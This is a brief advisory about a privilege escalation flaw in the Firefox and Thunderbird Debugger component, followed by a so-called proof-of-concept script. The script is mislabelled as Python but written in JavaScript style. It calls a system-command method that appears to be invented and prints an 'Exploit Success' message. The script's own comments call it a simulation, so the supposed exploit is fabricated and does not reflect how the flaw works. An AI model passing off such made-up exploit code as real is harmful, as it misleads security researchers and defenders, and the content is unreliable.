Privilege escalation in the Debugger component. This vulnerability was fixed in Firefox 150, Firefox ESR 140.10, Thunderbird 150, and Thunderbird 140.10.
The following code is for security research and authorized testing only.
python
// Conceptual Proof of Concept for CVE-2026-6769
// This script demonstrates how a Debugger component vulnerability might be triggered.
// Note: This is a simulation based on the vulnerability description.
function triggerPrivilegeEscalation() {
try {
// Attempt to access the Debugger object (Simulated)
const dbg = new Debugger();
// Simulate attaching to a privileged context or global object
// In a real exploit, this would bypass security checks (UI:R)
dbg.addDebuggee(globalThis);
// Attempt to execute a command with elevated privileges
// This represents the Privilege Escalation vector (C:H/I:H/A:H)
const result = dbg.evaluateSystemCommand("whoami");
console.log("[+] Exploit Success: " + result);
} catch (e) {
console.log("[-] Exploit Failed or Patched: " + e.message);
}
}
// Trigger the function
triggerPrivilegeEscalation();